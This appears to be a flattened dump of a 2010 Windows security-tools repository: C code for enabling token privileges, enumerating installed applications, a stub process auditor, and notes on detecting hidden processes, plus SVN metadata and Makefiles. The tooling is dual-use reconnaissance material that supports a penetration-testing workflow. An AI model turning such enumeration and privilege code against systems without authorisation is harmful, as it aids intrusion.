(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 58 | { 59 | if (!LookupPrivilegeValue(NULL, privilege, &debug)) 60 | { 61 | CloseHandle(hToken); 62 | } 63 | 64 | tp.PrivilegeCount = 1; 65 | tp.Privileges[0].Luid = debug; 66 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 67 | 68 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) 69 | { 70 | CloseHandle(hToken); 71 | } 72 | 73 | _tprintf(TEXT("[*] Successfully set privilege.\n")); 74 | 75 | CloseHandle(hToken); 76 | 77 | } 78 | else 79 | { 80 | _tprintf(TEXT("[!] Unable to set privilege.\n")); 81 | } 82 | } -------------------------------------------------------------------------------- /hogan/chijiuxing/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 42 4 | /svn/wintools/!svn/ver/68/trunk/chijiuxing 5 | END 6 | chijiuxing.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 55 10 | /svn/wintools/!svn/ver/68/trunk/chijiuxing/chijiuxing.c 11 | END 12 | Makefile 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 51 16 | /svn/wintools/!svn/ver/68/trunk/chijiuxing/Makefile 17 | END 18 | -------------------------------------------------------------------------------- /hogan/chijiuxing/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/chijiuxing 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-01-14T22:31:48.597137Z 11 | 68 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | chijiuxing.c 30 | file 31 | 32 | 33 | 34 | 35 | 2010-01-18T18:35:20.697985Z 36 | 74953eacce0deeb0fa4ba4add758fd7c 37 | 2010-01-14T22:31:48.597137Z 38 | 68 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 2991 62 | 63 | Makefile 64 | file 65 | 66 | 67 | 68 | 69 | 2010-01-18T18:35:20.729236Z 70 | 57c18ca06baba7eefbc6575620e5561c 71 | 2010-01-14T22:31:48.597137Z 72 | 68 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 339 96 | 97 | -------------------------------------------------------------------------------- /hogan/chijiuxing/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | #CC=cl 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | #LINKS=/link user32.lib kernel32.lib Ws2_32.lib /OUT:chijiuxing.exe /SUBSYSTEM:CONSOLE 4 | 5 | CC=/opt/local/bin/i386-mingw32-gcc 6 | CFLAGS= -o chijiuxing.exe -g -Wall 7 | LINKS= -mconsole 8 | 9 | all: chijiuxing 10 | 11 | chijiuxing: chijiuxing.c 12 | $(CC) $(CFLAGS) chijiuxing.c $(LINKS) 13 | 14 | clean: 15 | rm *.exe; rm *.obj 16 | -------------------------------------------------------------------------------- /hogan/chijiuxing/Makefile: -------------------------------------------------------------------------------- 1 | #CC=cl 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | #LINKS=/link user32.lib kernel32.lib Ws2_32.lib /OUT:chijiuxing.exe /SUBSYSTEM:CONSOLE 4 | 5 | CC=/opt/local/bin/i386-mingw32-gcc 6 | CFLAGS= -o chijiuxing.exe -g -Wall 7 | LINKS= -mconsole 8 | 9 | all: chijiuxing 10 | 11 | chijiuxing: chijiuxing.c 12 | $(CC) $(CFLAGS) chijiuxing.c $(LINKS) 13 | 14 | clean: 15 | rm *.exe; rm *.obj 16 | -------------------------------------------------------------------------------- /hogan/docs/Process.txt: -------------------------------------------------------------------------------- 1 | 2 | RECON -> TARGETING -> ATTACK -> ANALYSE -> REPORT 3 | ^ | 4 | └────────────────────────────────┘ 5 | 6 | 7 | Vulnerabilities 8 | ^ 9 | / \ 10 | / \ 11 | / \ 12 | / ____ \ 13 | / \ / \ 14 | / \/ \ 15 | / \ 16 | / \ 17 | Exploitation ----------------- Host Integrity 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /hogan/jincheng/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 41 4 | /svn/wintools/!svn/ver/145/trunk/jincheng 5 | END 6 | methods.txt 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 53 10 | /svn/wintools/!svn/ver/145/trunk/jincheng/methods.txt 11 | END 12 | jincheng.c 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 52 16 | /svn/wintools/!svn/ver/110/trunk/jincheng/jincheng.c 17 | END 18 | Makefile 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 50 22 | /svn/wintools/!svn/ver/110/trunk/jincheng/Makefile 23 | END 24 | -------------------------------------------------------------------------------- /hogan/jincheng/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/jincheng 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-02-28T19:10:38.569507Z 11 | 145 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | methods.txt 30 | file 31 | 32 | 33 | 34 | 35 | 2010-03-03T13:38:36.336680Z 36 | 2114995165375c8eb04197c0ffab26dc 37 | 2010-02-28T19:10:38.569507Z 38 | 145 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 954 62 | 63 | jincheng.c 64 | file 65 | 66 | 67 | 68 | 69 | 2010-02-08T20:51:43.694714Z 70 | f524dbc8bb07b4c1c26b2d8560c0d840 71 | 2010-02-06T00:50:53.108258Z 72 | 110 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 620 96 | 97 | Makefile 98 | file 99 | 100 | 101 | 102 | 103 | 2010-02-08T20:51:43.694714Z 104 | 88323454250190f5f996be687ea14023 105 | 2010-02-06T00:50:53.108258Z 106 | 110 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 241 130 | 131 | -------------------------------------------------------------------------------- /hogan/jincheng/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=i386-mingw32-gcc 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | CFLAGS=-x c 4 | #LINKS=/link kernel32.lib /OUT:dl.exe /SUBSYSTEM:CONSOLE 5 | LINKS=-o dl.exe 6 | 7 | all: jincheng 8 | 9 | drivelist: jincheng.c 10 | $(CC) $(CFLAGS) jincheng.c $(LINKS) 11 | 12 | clean: 13 | del *.exe; del *.obj 14 | -------------------------------------------------------------------------------- /hogan/jincheng/.svn/text-base/jincheng.c.svn-base: -------------------------------------------------------------------------------- 1 | /** 2 | * jincheng v1.0.0 3 | * @file 4 | * 5 | * jin cheng is the chinese word for process, so I thought it would be a fitting name for a process auditing tool. 6 | * 7 | * 02-04-2010: JPH - Created. 8 | * 9 | * @author Jacob Hammack 10 | */ 11 | 12 | /** 13 | * Includes 14 | * 15 | */ 16 | #include 17 | #include 18 | #include 19 | 20 | 21 | /** 22 | * _tmain is a the main for a unicode or ansi program depending on how it is compiled 23 | * 24 | * @param argc 25 | * @param argv 26 | * 27 | * @author Jacob Hammack 28 | */ 29 | int _tmain(int argc, TCHAR *argv[]) 30 | { 31 | _tprintf(TEXT("Jin Cheng v1.0.0\nCopyright 2010 Jacob Hammack\nhttp://www.hammackj.com\n\n")); 32 | 33 | 34 | 35 | return 0; 36 | } -------------------------------------------------------------------------------- /hogan/jincheng/.svn/text-base/methods.txt.svn-base: -------------------------------------------------------------------------------- 1 | Detection Methodology 2 | ----------------------- 3 | ProcL uses many different approaches at 2 different level (ring-3 & ring-0) in the operating system 4 | 1. User-mode approaches: 5 | - ToolHelpAPI 6 | - EnumProcess API 7 | - Performance data helper 8 | - ZwQuerySystemInformation - Class "SystemProcessesAndThreadsInformation" 9 | - Open handle scanning 10 | - Process Bruteforcing 11 | - Scanning handles open in another process 12 | 2. Kernel-mode approaches: 13 | - EPROCESS structure scanning 14 | - PspCidTable scanning 15 | - HandleTableList scanning 16 | - Scheduler threads list scanning 17 | - SwapContext hooking 18 | What ProcL is NOT? 19 | --------------------- 20 | 1. May not work on Windows Vista (not tested) 21 | 2. ProcL can not detect hidden - modules, threads, drivers, files, folders, and registry keys 22 | 3. ProcL does not restore any hooks 23 | 4. ProcL is not going to keep you Rootkit free! 24 | Future work 25 | ------------ 26 | 1. Vista support 27 | 2. Process killing 28 | 3. XML output -------------------------------------------------------------------------------- /hogan/jincheng/Makefile: -------------------------------------------------------------------------------- 1 | CC=i386-mingw32-gcc 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | CFLAGS=-x c 4 | #LINKS=/link kernel32.lib /OUT:dl.exe /SUBSYSTEM:CONSOLE 5 | LINKS=-o dl.exe 6 | 7 | all: jincheng 8 | 9 | drivelist: jincheng.c 10 | $(CC) $(CFLAGS) jincheng.c $(LINKS) 11 | 12 | clean: 13 | del *.exe; del *.obj 14 | -------------------------------------------------------------------------------- /hogan/jincheng/jincheng.c: -------------------------------------------------------------------------------- 1 | /** 2 | * jincheng v1.0.0 3 | * @file 4 | * 5 | * jin cheng is the chinese word for process, so I thought it would be a fitting name for a process auditing tool. 6 | * 7 | * 02-04-2010: JPH - Created. 8 | * 9 | * @author Jacob Hammack 10 | */ 11 | 12 | /** 13 | * Includes 14 | * 15 | */ 16 | #include 17 | #include 18 | #include 19 | 20 | 21 | /** 22 | * _tmain is a the main for a unicode or ansi program depending on how it is compiled 23 | * 24 | * @param argc 25 | * @param argv 26 | * 27 | * @author Jacob Hammack 28 | */ 29 | int _tmain(int argc, TCHAR *argv[]) 30 | { 31 | _tprintf(TEXT("Jin Cheng v1.0.0\nCopyright 2010 Jacob Hammack\nhttp://www.hammackj.com\n\n")); 32 | 33 | 34 | 35 | return 0; 36 | } -------------------------------------------------------------------------------- /hogan/jincheng/methods.txt: -------------------------------------------------------------------------------- 1 | Detection Methodology 2 | ----------------------- 3 | ProcL uses many different approaches at 2 different level (ring-3 & ring-0) in the operating system 4 | 1. User-mode approaches: 5 | - ToolHelpAPI 6 | - EnumProcess API 7 | - Performance data helper 8 | - ZwQuerySystemInformation - Class "SystemProcessesAndThreadsInformation" 9 | - Open handle scanning 10 | - Process Bruteforcing 11 | - Scanning handles open in another process 12 | 2. Kernel-mode approaches: 13 | - EPROCESS structure scanning 14 | - PspCidTable scanning 15 | - HandleTableList scanning 16 | - Scheduler threads list scanning 17 | - SwapContext hooking 18 | What ProcL is NOT? 19 | --------------------- 20 | 1. May not work on Windows Vista (not tested) 21 | 2. ProcL can not detect hidden - modules, threads, drivers, files, folders, and registry keys 22 | 3. ProcL does not restore any hooks 23 | 4. ProcL is not going to keep you Rootkit free! 24 | Future work 25 | ------------ 26 | 1. Vista support 27 | 2. Process killing 28 | 3. XML output -------------------------------------------------------------------------------- /hogan/libmeiju/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 41 4 | /svn/wintools/!svn/ver/110/trunk/libmeiju 5 | END 6 | process.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 51 10 | /svn/wintools/!svn/ver/110/trunk/libmeiju/process.c 11 | END 12 | libmeiju.c 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 52 16 | /svn/wintools/!svn/ver/110/trunk/libmeiju/libmeiju.c 17 | END 18 | system.c 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 50 22 | /svn/wintools/!svn/ver/110/trunk/libmeiju/system.c 23 | END 24 | libmeiju.h 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 52 28 | /svn/wintools/!svn/ver/110/trunk/libmeiju/libmeiju.h 29 | END 30 | Makefile 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 50 34 | /svn/wintools/!svn/ver/110/trunk/libmeiju/Makefile 35 | END 36 | -------------------------------------------------------------------------------- /hogan/libmeiju/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/libmeiju 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-02-06T00:50:53.108258Z 11 | 110 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | process.c 30 | file 31 | 32 | 33 | 34 | 35 | 2010-02-08T20:51:43.788464Z 36 | 2cfae14e7633d268096fe108ceec58d2 37 | 2010-02-06T00:50:53.108258Z 38 | 110 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 23 62 | 63 | libmeiju.c 64 | file 65 | 66 | 67 | 68 | 69 | 2010-02-08T20:51:43.788464Z 70 | d41d8cd98f00b204e9800998ecf8427e 71 | 2010-02-06T00:50:53.108258Z 72 | 110 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 0 96 | 97 | system.c 98 | file 99 | 100 | 101 | 102 | 103 | 2010-02-08T20:51:43.788464Z 104 | d1da7b5ea09927fa6a1851f4298269ad 105 | 2010-02-06T00:50:53.108258Z 106 | 110 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 800 130 | 131 | libmeiju.h 132 | file 133 | 134 | 135 | 136 | 137 | 2010-02-08T20:51:43.788464Z 138 | 8709396b68634ae4509d72ff57e83ded 139 | 2010-02-06T00:50:53.108258Z 140 | 110 141 | hammackj 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 1638 164 | 165 | Makefile 166 | file 167 | 168 | 169 | 170 | 171 | 2010-02-08T20:51:43.788464Z 172 | ac08b43d537faa894589be5dc6a551a7 173 | 2010-02-06T00:50:53.108258Z 174 | 110 175 | hammackj 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 256 198 | 199 | -------------------------------------------------------------------------------- /hogan/libmeiju/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=i386-mingw32-gcc 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | CFLAGS=-c 4 | #LINKS=/link kernel32.lib /OUT:dl.exe /SUBSYSTEM:CONSOLE 5 | LINKS=-o libmeiju.o 6 | 7 | all: meiju 8 | 9 | meiju: meiju.c 10 | $(CC) $(CFLAGS) meiju.c $(LINKS) 11 | ar rcs libmeiju.a 12 | 13 | clean: 14 | rm *.exe; rm *.obj; rm *.o; 15 | -------------------------------------------------------------------------------- /hogan/libmeiju/.svn/text-base/libmeiju.c.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/hogan/libmeiju/.svn/text-base/libmeiju.c.svn-base -------------------------------------------------------------------------------- /hogan/libmeiju/.svn/text-base/libmeiju.h.svn-base: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | 5 | /** 6 | * Process Enumeration Functions API 7 | * 8 | * Methods for enumerating Windows Processes 9 | * 10 | * 1. CreateToolhelp32Snapshot() Method 11 | * 2. PSapi Method 12 | * 3. NtQuerySystemInformation() Method 13 | * 4. 14 | */ 15 | 16 | int enumerate_processes_toolhelp_api(void); 17 | 18 | int enumerate_processes_psapi_api(void); 19 | 20 | int enumerate_processes_ntquery_api(void); 21 | 22 | int display_processes_xml(void); 23 | 24 | int display_processes_screen(void); 25 | 26 | 27 | /** 28 | * Windows system helper functions 29 | * 30 | * 31 | */ 32 | 33 | int os_major_version_api(void); 34 | 35 | int os_minor_version_api(void); 36 | 37 | BOOL SetTokenPrivileges(TCHAR *priv, BOOL enable); 38 | 39 | 40 | /** 41 | * Set the passed Privileges to the current processes token. 42 | * 43 | * @return FALSE on fail TRUE on success 44 | * 45 | * @author Jacob Hammack 46 | */ 47 | BOOL SetTokenPrivileges(TCHAR *PrivToRequest, BOOL enable) 48 | { 49 | HANDLE TokenHandle; 50 | LUID UniqueID; 51 | TOKEN_PRIVILEGES TokenPrivileges; 52 | 53 | if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) 54 | { 55 | if (!LookupPrivilegeValue(NULL, PrivToRequest, &UniqueID)) 56 | { 57 | CloseHandle(TokenHandle); 58 | } 59 | 60 | TokenPrivileges.PrivilegeCount = 1; 61 | TokenPrivileges.Privileges[0].Luid = UniqueID; 62 | 63 | if(enable == TRUE) 64 | { 65 | TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 66 | } 67 | else 68 | { 69 | TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED; 70 | } 71 | 72 | if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TokenPrivileges), NULL, NULL)) 73 | { 74 | CloseHandle(TokenHandle); 75 | 76 | return FALSE; 77 | } 78 | 79 | CloseHandle(TokenHandle); 80 | 81 | return TRUE; 82 | 83 | } 84 | else 85 | { 86 | return FALSE; 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /hogan/libmeiju/.svn/text-base/process.c.svn-base: -------------------------------------------------------------------------------- 1 | #include "libmeiju.h" 2 | 3 | -------------------------------------------------------------------------------- /hogan/libmeiju/.svn/text-base/system.c.svn-base: -------------------------------------------------------------------------------- 1 | #include "libmeiju.h" 2 | 3 | /** 4 | * Returns the hajor version of the operating system. 5 | * 6 | * @return 0 on fail, non zero on success 7 | * 8 | * @author Jacob Hammack 9 | */ 10 | int os_major_version_api(void) 11 | { 12 | OSVERSIONINFO ovi; 13 | 14 | ovi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 15 | 16 | if (GetVersionEx (&ovi) && (ovi.dwPlatformId == VER_PLATFORM_WIN32_NT)) 17 | { 18 | return (int) ovi.dwMajorVersion; 19 | } 20 | else 21 | { 22 | return 0; 23 | } 24 | } 25 | 26 | /** 27 | * Returns the minor version of the operating system. 28 | * 29 | * @return -1 on fail, non zero on success 30 | * 31 | * @author Jacob Hammack 32 | */ 33 | int os_minor_version_api(void) 34 | { 35 | OSVERSIONINFO ovi; 36 | 37 | ovi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 38 | 39 | if (GetVersionEx (&ovi) && (ovi.dwPlatformId == VER_PLATFORM_WIN32_NT)) 40 | { 41 | return (int) ovi.dwMinorVersion; 42 | } 43 | else 44 | { 45 | return -1; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /hogan/libmeiju/Makefile: -------------------------------------------------------------------------------- 1 | CC=i386-mingw32-gcc 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | CFLAGS=-c 4 | #LINKS=/link kernel32.lib /OUT:dl.exe /SUBSYSTEM:CONSOLE 5 | LINKS=-o libmeiju.o 6 | 7 | all: meiju 8 | 9 | meiju: meiju.c 10 | $(CC) $(CFLAGS) meiju.c $(LINKS) 11 | ar rcs libmeiju.a 12 | 13 | clean: 14 | rm *.exe; rm *.obj; rm *.o; 15 | -------------------------------------------------------------------------------- /hogan/libmeiju/SetTokenPrivileges.txt: -------------------------------------------------------------------------------- 1 | /** 2 | * Set the passed Privileges to the current processes token. 3 | * 4 | */ 5 | BOOL SetTokenPrivileges(TCHAR *priv, BOOL enable); 6 | 7 | /** 8 | * Set the passed Privileges to the current processes token. 9 | * 10 | * @author Jacob Hammack 11 | */ 12 | BOOL SetTokenPrivileges(TCHAR *PrivToRequest, BOOL enable) 13 | { 14 | HANDLE TokenHandle; 15 | LUID UniqueID; 16 | TOKEN_PRIVILEGES TokenPrivileges; 17 | 18 | if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) 19 | { 20 | if (!LookupPrivilegeValue(NULL, PrivToRequest, &UniqueID)) 21 | { 22 | CloseHandle(TokenHandle); 23 | } 24 | 25 | TokenPrivileges.PrivilegeCount = 1; 26 | TokenPrivileges.Privileges[0].Luid = UniqueID; 27 | 28 | if(enable == TRUE) 29 | { 30 | TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 31 | } 32 | else 33 | { 34 | TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED; 35 | } 36 | 37 | if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TokenPrivileges), NULL, NULL)) 38 | { 39 | CloseHandle(TokenHandle); 40 | 41 | return FALSE; 42 | } 43 | 44 | CloseHandle(TokenHandle); 45 | 46 | return TRUE; 47 | 48 | } 49 | else 50 | { 51 | return FALSE; 52 | } 53 | } -------------------------------------------------------------------------------- /hogan/libmeiju/libmeiju.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/hogan/libmeiju/libmeiju.c -------------------------------------------------------------------------------- /hogan/libmeiju/libmeiju.h: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | 5 | /** 6 | * Process Enumeration Functions API 7 | * 8 | * Methods for enumerating Windows Processes 9 | * 10 | * 1. CreateToolhelp32Snapshot() Method 11 | * 2. PSapi Method 12 | * 3. NtQuerySystemInformation() Method 13 | * 4. 14 | */ 15 | 16 | int enumerate_processes_toolhelp_api(void); 17 | 18 | int enumerate_processes_psapi_api(void); 19 | 20 | int enumerate_processes_ntquery_api(void); 21 | 22 | int display_processes_xml(void); 23 | 24 | int display_processes_screen(void); 25 | 26 | 27 | /** 28 | * Windows system helper functions 29 | * 30 | * 31 | */ 32 | 33 | int os_major_version_api(void); 34 | 35 | int os_minor_version_api(void); 36 | 37 | BOOL SetTokenPrivileges(TCHAR *priv, BOOL enable); 38 | 39 | 40 | /** 41 | * Set the passed Privileges to the current processes token. 42 | * 43 | * @return FALSE on fail TRUE on success 44 | * 45 | * @author Jacob Hammack 46 | */ 47 | BOOL SetTokenPrivileges(TCHAR *PrivToRequest, BOOL enable) 48 | { 49 | HANDLE TokenHandle; 50 | LUID UniqueID; 51 | TOKEN_PRIVILEGES TokenPrivileges; 52 | 53 | if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) 54 | { 55 | if (!LookupPrivilegeValue(NULL, PrivToRequest, &UniqueID)) 56 | { 57 | CloseHandle(TokenHandle); 58 | } 59 | 60 | TokenPrivileges.PrivilegeCount = 1; 61 | TokenPrivileges.Privileges[0].Luid = UniqueID; 62 | 63 | if(enable == TRUE) 64 | { 65 | TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 66 | } 67 | else 68 | { 69 | TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED; 70 | } 71 | 72 | if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TokenPrivileges), NULL, NULL)) 73 | { 74 | CloseHandle(TokenHandle); 75 | 76 | return FALSE; 77 | } 78 | 79 | CloseHandle(TokenHandle); 80 | 81 | return TRUE; 82 | 83 | } 84 | else 85 | { 86 | return FALSE; 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /hogan/libmeiju/process.c: -------------------------------------------------------------------------------- 1 | #include "libmeiju.h" 2 | 3 | -------------------------------------------------------------------------------- /hogan/libmeiju/system.c: -------------------------------------------------------------------------------- 1 | #include "libmeiju.h" 2 | 3 | /** 4 | * Returns the hajor version of the operating system. 5 | * 6 | * @return 0 on fail, non zero on success 7 | * 8 | * @author Jacob Hammack 9 | */ 10 | int os_major_version_api(void) 11 | { 12 | OSVERSIONINFO ovi; 13 | 14 | ovi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 15 | 16 | if (GetVersionEx (&ovi) && (ovi.dwPlatformId == VER_PLATFORM_WIN32_NT)) 17 | { 18 | return (int) ovi.dwMajorVersion; 19 | } 20 | else 21 | { 22 | return 0; 23 | } 24 | } 25 | 26 | /** 27 | * Returns the minor version of the operating system. 28 | * 29 | * @return -1 on fail, non zero on success 30 | * 31 | * @author Jacob Hammack 32 | */ 33 | int os_minor_version_api(void) 34 | { 35 | OSVERSIONINFO ovi; 36 | 37 | ovi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 38 | 39 | if (GetVersionEx (&ovi) && (ovi.dwPlatformId == VER_PLATFORM_WIN32_NT)) 40 | { 41 | return (int) ovi.dwMinorVersion; 42 | } 43 | else 44 | { 45 | return -1; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /installedappsenum/installed.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Installed Application Fetcher 3 | * @file 4 | * @version 1.0 5 | * 6 | * @author Jacob Hammack 7 | * 8 | * 09-16-2009: JPH - Created initial program. 9 | * 10 | */ 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #pragma comment(lib, "kernel32.lib") 17 | #pragma comment(lib, "msi.lib") 18 | 19 | int _tmain(int argc, TCHAR *argv[]) 20 | { 21 | DWORD i = 0; 22 | UINT result = 0; 23 | HMODULE mod; 24 | 25 | _tprintf(TEXT("Enumerate Installed Applications v1.0.0\nJacob Hammack\nhttp://www.hammackj.com\n\n")); 26 | 27 | /* Lets Check to see if we can find the Msi.dll so this will work.*/ 28 | if((mod = LoadLibrary(TEXT("Msi.dll"))) == NULL) 29 | { 30 | _tprintf(TEXT("[!] Unable to load MSI.lib, Please install Microsoft Installer, Returned error %d\n"), GetLastError()); 31 | 32 | return -1; 33 | } 34 | 35 | do 36 | { 37 | TCHAR ApplicationGUID[40]; 38 | ZeroMemory(ApplicationGUID, 40); 39 | 40 | result = MsiEnumProducts(i, ApplicationGUID); 41 | 42 | if(result == ERROR_SUCCESS) 43 | { 44 | TCHAR ApplicationName[256]; 45 | DWORD Size = (DWORD) 256; 46 | UINT res = 0; 47 | ZeroMemory(ApplicationName, 2); 48 | 49 | res = MsiGetProductInfo(ApplicationGUID, INSTALLPROPERTY_PRODUCTNAME, ApplicationName, &Size); 50 | 51 | if(res != ERROR_SUCCESS) 52 | { 53 | _tprintf(TEXT("[!] Unable to Get Advanced Product Info, Res = %d, Returned error %d\n"), res,GetLastError()); 54 | } 55 | else 56 | { 57 | _tprintf(TEXT("[*] %s\n"), ApplicationName); 58 | } 59 | } 60 | 61 | i++; 62 | } while(result != ERROR_NO_MORE_ITEMS); 63 | 64 | FreeLibrary(mod); 65 | 66 | return 0; 67 | } -------------------------------------------------------------------------------- /keypull/Makefile.mingw: -------------------------------------------------------------------------------- 1 | CC=i386-mingw32-gcc 2 | CFLAGS=-x c 3 | LDFLAGS= 4 | 5 | STRIP=i386-mingw32-strip 6 | 7 | all: keypull.exe 8 | 9 | keypull.exe: keypull.c 10 | $(CC) -o keypull.exe $(CFLAGS) keypull.c $(LDFLAGS) 11 | $(STRIP) keypull.exe 12 | 13 | clean: 14 | rm *.exe *.o 15 | -------------------------------------------------------------------------------- /keypull/Makefile.win32: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link /OUT:keypull.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: keypull 6 | 7 | keypull: keypull.c 8 | $(CC) $(CFLAGS) keypull.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /md5index/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 40 4 | /svn/wintools/!svn/ver/18/trunk/md5index 5 | END 6 | md5.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 46 10 | /svn/wintools/!svn/ver/18/trunk/md5index/md5.c 11 | END 12 | md5.h 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 46 16 | /svn/wintools/!svn/ver/18/trunk/md5index/md5.h 17 | END 18 | Makefile 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 49 22 | /svn/wintools/!svn/ver/18/trunk/md5index/Makefile 23 | END 24 | md5index.c 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 51 28 | /svn/wintools/!svn/ver/18/trunk/md5index/md5index.c 29 | END 30 | -------------------------------------------------------------------------------- /md5index/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 